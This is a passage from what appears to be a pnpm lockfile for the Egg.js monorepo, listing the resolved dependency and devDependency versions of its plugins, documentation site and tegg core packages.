dependencies:\n      '@eggjs/extend2':\n        specifier: workspace:*\n        version: link:../../packages/extend2\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../../packages/supertest\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../packages/utils\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      detect-port:\n        specifier: 'catalog:'\n        version: 2.1.0\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      get-ready:\n        specifier: 'catalog:'\n        version: 3.4.0\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      merge-descriptors:\n        specifier: 'catalog:'\n        version: 2.0.0\n      mm:\n        specifier: 'catalog:'\n        version: 4.0.2\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n    devDependencies:\n      '@eggjs/errors':\n        specifier: workspace:*\n        version: link:../../packages/errors\n      '@eggjs/tracer':\n        specifier: workspace:*\n        version: link:../tracer\n      '@types/methods':\n        specifier: 'catalog:'\n        version: 1.1.4\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/multipart:\n    dependencies:\n      '@eggjs/path-matching':\n        specifier: workspace:*\n        version: link:../../packages/path-matching\n      bytes:\n        specifier: 'catalog:'\n        version: 3.1.2\n      co-busboy:\n        specifier: 'catalog:'\n        version: 2.0.2\n      dayjs:\n        specifier: 'catalog:'\n        version: 1.11.18\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/schedule':\n        specifier: workspace:*\n        version: link:../schedule\n      '@types/bytes':\n        specifier: 'catalog:'\n        version: 3.1.5\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      formstream:\n        specifier: 'catalog:'\n        version: 1.5.2\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      stream-wormhole:\n        specifier: 'catalog:'\n        version: 2.0.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n\n  plugins/onerror:\n    dependencies:\n      cookie:\n        specifier: 'catalog:'\n        version: 1.0.2\n      koa-onerror:\n        specifier: 'catalog:'\n        version: 5.0.1\n      mustache:\n        specifier: 'catalog:'\n        version: 4.2.0\n      stack-trace:\n        specifier: 'catalog:'\n        version: 0.0.10\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@types/mustache':\n        specifier: 'catalog:'\n        version: 4.2.6\n      '@types/stack-trace':\n        specifier: 'catalog:'\n        version: 0.0.33\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/redis:\n    dependencies:\n      ioredis:\n        specifier: 'catalog:'\n        version: 5.8.1\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      detect-port:\n        specifier: ^2.1.0\n        version: 2.1.0\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      ioredis-mock:\n        specifier: 'catalog:'\n        version: 8.13.1(@types/ioredis-mock@8.2.6(ioredis@5.8.1))(ioredis@5.8.1)\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/schedule:\n    dependencies:\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../packages/utils\n      cron-parser:\n        specifier: 'catalog:'\n        version: 4.9.0\n      humanize-ms:\n        specifier: 'catalog:'\n        version: 2.0.0\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      safe-timers:\n        specifier: 'catalog:'\n        version: 1.1.0\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/bin':\n        specifier: workspace:*\n        version: link:../../tools/egg-bin\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      '@types/safe-timers':\n        specifier: 'catalog:'\n        version: 1.1.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/security:\n    dependencies:\n      '@eggjs/ip':\n        specifier: 'catalog:'\n        version: 2.1.0\n      '@eggjs/path-matching':\n        specifier: workspace:*\n        version: link:../../packages/path-matching\n      csrf:\n        specifier: 'catalog:'\n        version: 3.1.0\n      escape-html:\n        specifier: 'catalog:'\n        version: 1.0.3\n      extend:\n        specifier: 'catalog:'\n        version: 3.0.2\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n      matcher:\n        specifier: 'catalog:'\n        version: 4.0.0\n      nanoid:\n        specifier: 'catalog:'\n        version: 5.1.6\n      type-is:\n        specifier: 'catalog:'\n        version: 2.0.1\n      xss:\n        specifier: 'catalog:'\n        version: 1.0.15\n      zod:\n        specifier: 'catalog:'\n        version: 3.25.76\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../../packages/supertest\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      '@types/escape-html':\n        specifier: 'catalog:'\n        version: 1.0.4\n      '@types/extend':\n        specifier: 'catalog:'\n        version: 3.0.4\n      '@types/koa-compose':\n        specifier: 'catalog:'\n        version: 3.2.8\n      '@types/mocha':\n        specifier: 'catalog:'\n        version: 10.0.10\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      '@types/type-is':\n        specifier: 'catalog:'\n        version: 1.6.7\n      beautify-benchmark:\n        specifier: 'catalog:'\n        version: 0.2.4\n      benchmark:\n        specifier: 'catalog:'\n        version: 2.1.4\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      egg-view-nunjucks:\n        specifier: 'catalog:'\n        version: 2.3.0(chokidar@3.6.0)\n      spy:\n        specifier: 'catalog:'\n        version: 1.0.0\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/session:\n    dependencies:\n      koa-session:\n        specifier: 'catalog:'\n        version: 7.0.2\n      zod:\n        specifier: 'catalog:'\n        version: 3.25.76\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/redis':\n        specifier: workspace:*\n        version: link:../redis\n      '@eggjs/supertest':\n        specifier: workspace:*\n        version: link:../../packages/supertest\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/static:\n    dependencies:\n      '@eggjs/koa-static-cache':\n        specifier: workspace:*\n        version: link:../../packages/koa-static-cache\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n      koa-range:\n        specifier: 'catalog:'\n        version: 0.3.0\n      ylru:\n        specifier: 'catalog:'\n        version: 2.0.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@types/koa-compose':\n        specifier: 'catalog:'\n        version: 3.2.8\n      '@types/koa-range':\n        specifier: 'catalog:'\n        version: 0.3.5\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/tracer:\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/typebox-validate:\n    dependencies:\n      ajv:\n        specifier: 'catalog:'\n        version: 8.17.1\n      ajv-formats:\n        specifier: 'catalog:'\n        version: 2.1.1(ajv@8.17.1)\n      ajv-keywords:\n        specifier: 'catalog:'\n        version: 5.1.0(ajv@8.17.1)\n      typebox:\n        specifier: 'catalog:'\n        version: 1.0.65\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      semver:\n        specifier: 'catalog:'\n        version: 7.7.3\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/view:\n    dependencies:\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      utility:\n        specifier: 'catalog:'\n        version: 2.5.0\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/tsconfig':\n        specifier: workspace:*\n        version: link:../../packages/tsconfig\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/view-nunjucks:\n    dependencies:\n      nunjucks:\n        specifier: 'catalog:'\n        version: 3.2.4(chokidar@3.6.0)\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      '@eggjs/view':\n        specifier: workspace:*\n        version: link:../view\n      '@types/common-tags':\n        specifier: 'catalog:'\n        version: 1.8.4\n      '@types/nunjucks':\n        specifier: 'catalog:'\n        version: 3.2.6\n      cheerio:\n        specifier: 'catalog:'\n        version: 1.1.2\n      common-tags:\n        specifier: 'catalog:'\n        version: 1.8.2\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      marked:\n        specifier: 'catalog:'\n        version: 17.0.0\n      nunjucks-markdown:\n        specifier: 'catalog:'\n        version: 2.0.1(nunjucks@3.2.4(chokidar@3.6.0))\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  plugins/watcher:\n    dependencies:\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../packages/utils\n      camelcase:\n        specifier: 'catalog:'\n        version: 9.0.0\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n    devDependencies:\n      '@eggjs/mock':\n        specifier: workspace:*\n        version: link:../mock\n      egg:\n        specifier: workspace:*\n        version: link:../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  site:\n    dependencies:\n      vitepress:\n        specifier: 'catalog:'\n        version: 2.0.0-alpha.15(@types/node@24.10.2)(axios@1.13.5)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(nprogress@0.2.0)(oxc-minify@0.105.0)(postcss@8.5.6)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(typescript@5.9.3)(yaml@2.8.2)\n      vitepress-plugin-llms:\n        specifier: 'catalog:'\n        version: 1.10.0\n    devDependencies:\n      oxc-minify:\n        specifier: 'catalog:'\n        version: 0.105.0\n\n  tegg/core/agent-runtime:\n    dependencies:\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      egg-logger:\n        specifier: 'catalog:'\n        version: 3.6.1\n      oss-client:\n        specifier: 'catalog:'\n        version: 2.5.1\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/ajv-decorator:\n    dependencies:\n      ajv:\n        specifier: 'catalog:'\n        version: 8.17.1\n      typebox:\n        specifier: 'catalog:'\n        version: 1.0.65\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/aop-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/aop-runtime:\n    dependencies:\n      '@eggjs/aop-decorator':\n        specifier: workspace:*\n        version: link:../aop-decorator\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      koa-compose:\n        specifier: 'catalog:'\n        version: 4.1.0\n    devDependencies:\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../test-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@types/koa-compose':\n        specifier: 'catalog:'\n        version: 3.2.8\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/background-task:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/common-util:\n    dependencies:\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      '@eggjs/utils':\n        specifier: workspace:*\n        version: link:../../../packages/utils\n      extend2:\n        specifier: 'catalog:'\n        version: 4.0.0\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      js-yaml:\n        specifier: 'catalog:'\n        version: 4.1.1\n      reflect-metadata:\n        specifier: 'catalog:'\n        version: 0.2.2\n    devDependencies:\n      '@types/js-yaml':\n        specifier: 'catalog:'\n        version: 4.0.9\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/controller-decorator:\n    dependencies:\n      '@eggjs/aop-decorator':\n        specifier: workspace:*\n        version: link:../aop-decorator\n      '@eggjs/cookies':\n        specifier: workspace:*\n        version: link:../../../packages/cookies\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@4.3.6)\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      path-to-regexp:\n        specifier: catalog:path-to-regexp1\n        version: 1.9.0\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/core-decorator:\n    dependencies:\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/dal-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/rds':\n        specifier: 'catalog:'\n        version: 1.5.0\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      lodash.snakecase:\n        specifier: 'catalog:'\n        version: 4.1.1\n      pluralize:\n        specifier: 'catalog:'\n        version: 8.0.0\n    devDependencies:\n      '@types/lodash.snakecase':\n        specifier: 'catalog:'\n        version: 4.1.9\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      '@types/pluralize':\n        specifier: 'catalog:'\n        version: 0.0.33\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/dal-runtime:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/dal-decorator':\n        specifier: workspace:*\n        version: link:../dal-decorator\n      '@eggjs/rds':\n        specifier: 'catalog:'\n        version: 1.5.0\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      js-beautify:\n        specifier: 'catalog:'\n        version: 1.15.4\n      lodash:\n        specifier: 'catalog:'\n        version: 4.17.21\n      nunjucks:\n        specifier: 'catalog:'\n        version: 3.2.4(chokidar@3.6.0)\n      sdk-base:\n        specifier: 'catalog:'\n        version: 5.0.1\n      sqlstring:\n        specifier: 'catalog:'\n        version: 2.3.3\n    devDependencies:\n      '@types/js-beautify':\n        specifier: 'catalog:'\n        version: 1.14.3\n      '@types/lodash':\n        specifier: 'catalog:'\n        version: 4.17.20\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      '@types/nunjucks':\n        specifier: 'catalog:'\n        version: 3.2.6\n      '@types/sqlstring':\n        specifier: 'catalog:'\n        version: 2.3.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/dynamic-inject:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/dynamic-inject-runtime:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/dynamic-inject':\n        specifier: workspace:*\n        version: link:../dynamic-inject\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../test-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/eventbus-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/eventbus-runtime:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/eventbus-decorator':\n        specifier: workspace:*\n        version: link:../eventbus-decorator\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      await-event:\n        specifier: 'catalog:'\n        version: 2.1.0\n      await-first:\n        specifier: 'catalog:'\n        version: 1.0.0\n    devDependencies:\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../test-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      coffee:\n        specifier: 'catalog:'\n        version: 5.5.1\n      egg:\n        specifier: workspace:*\n        version: link:../../../packages/egg\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/langchain-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      '@langchain/core':\n        specifier: ^1.1.1\n        version: 1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76))\n      '@langchain/langgraph':\n        specifier: ^1.0.2\n        version: 1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@3.25.76)\n      '@langchain/openai':\n        specifier: ^1.1.0\n        version: 1.2.8(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(ws@8.19.0)\n      langchain:\n        specifier: ^1.1.2\n        version: 1.2.25(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(openai@6.22.0(ws@8.19.0)(zod@3.25.76))(zod-to-json-schema@3.25.1(zod@3.25.76))\n    devDependencies:\n      '@eggjs/controller-decorator':\n        specifier: workspace:*\n        version: link:../controller-decorator\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n      zod:\n        specifier: 'catalog:'\n        version: 3.25.76\n\n  tegg/core/lifecycle:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/loader:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/mcp-client:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      '@langchain/mcp-adapters':\n        specifier: ^1.0.0\n        version: 1.1.3(@cfworker/json-schema@4.1.1)(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(@langchain/langgraph@1.1.5(@langchain/core@1.1.26(openai@6.22.0(ws@8.19.0)(zod@3.25.76)))(zod-to-json-schema@3.25.1(zod@3.25.76))(zod@3.25.76))\n      '@modelcontextprotocol/sdk':\n        specifier: ^1.23.0\n        version: 1.26.0(@cfworker/json-schema@4.1.1)(zod@3.25.76)\n      urllib:\n        specifier: 'catalog:'\n        version: 4.8.2\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n      vitest:\n        specifier: 'catalog:'\n        version: 4.0.15(@types/node@24.10.2)(@vitest/ui@4.0.15)(esbuild@0.27.0)(jiti@2.6.1)(less@4.4.2)(sass@1.93.2)(terser@5.44.0)(tsx@4.20.6)(yaml@2.8.2)\n      zod:\n        specifier: 'catalog:'\n        version: 3.25.76\n\n  tegg/core/metadata:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/errors':\n        specifier: workspace:*\n        version: link:../../../packages/errors\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../lifecycle\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      globby:\n        specifier: 'catalog:'\n        version: 11.1.0\n      is-type-of:\n        specifier: 'catalog:'\n        version: 2.2.0\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/orm-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      lodash:\n        specifier: 'catalog:'\n        version: 4.17.21\n      pluralize:\n        specifier: 'catalog:'\n        version: 8.0.0\n    devDependencies:\n      '@types/lodash':\n        specifier: 'catalog:'\n        version: 4.17.20\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      '@types/pluralize':\n        specifier: 'catalog:'\n        version: 0.0.33\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/runtime:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@eggjs/module-test-util':\n        specifier: workspace:*\n        version: link:../test-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/schedule-decorator:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/standalone-decorator:\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/tegg:\n    dependencies:\n      '@eggjs/agent-runtime':\n        specifier: workspace:*\n        version: link:../agent-runtime\n      '@eggjs/ajv-decorator':\n        specifier: workspace:*\n        version: link:../ajv-decorator\n      '@eggjs/aop-decorator':\n        specifier: workspace:*\n        version: link:../aop-decorator\n      '@eggjs/background-task':\n        specifier: workspace:*\n        version: link:../background-task\n      '@eggjs/controller-decorator':\n        specifier: workspace:*\n        version: link:../controller-decorator\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: link:../core-decorator\n      '@eggjs/dal-decorator':\n        specifier: workspace:*\n        version: link:../dal-decorator\n      '@eggjs/dal-plugin':\n        specifier: workspace:*\n        version: link:../../plugin/dal\n      '@eggjs/dynamic-inject':\n        specifier: workspace:*\n        version: link:../dynamic-inject\n      '@eggjs/eventbus-decorator':\n        specifier: workspace:*\n        version: link:../eventbus-decorator\n      '@eggjs/lifecycle':\n        specifier: workspace:*\n        version: link:../lifecycle\n      '@eggjs/metadata':\n        specifier: workspace:*\n        version: link:../metadata\n      '@eggjs/orm-decorator':\n        specifier: workspace:*\n        version: link:../orm-decorator\n      '@eggjs/schedule-decorator':\n        specifier: workspace:*\n        version: link:../schedule-decorator\n      '@eggjs/standalone-decorator':\n        specifier: workspace:*\n        version: link:../standalone-decorator\n      '@eggjs/tegg-common-util':\n        specifier: workspace:*\n        version: link:../common-util\n      '@eggjs/tegg-loader':\n        specifier: workspace:*\n        version: link:../loader\n      '@eggjs/tegg-runtime':\n        specifier: workspace:*\n        version: link:../runtime\n      '@eggjs/tegg-types':\n        specifier: workspace:*\n        version: link:../types\n      '@eggjs/transaction-decorator':\n        specifier: workspace:*\n        version: link:../transaction-decorator\n    devDependencies:\n      '@types/node':\n        specifier: 'catalog:'\n        version: 24.10.2\n      typescript:\n        specifier: 'catalog:'\n        version: 5.9.3\n\n  tegg/core/test-util:\n    dependencies:\n      '@eggjs/core-decorator':\n        specifier: workspace:*\n        version: 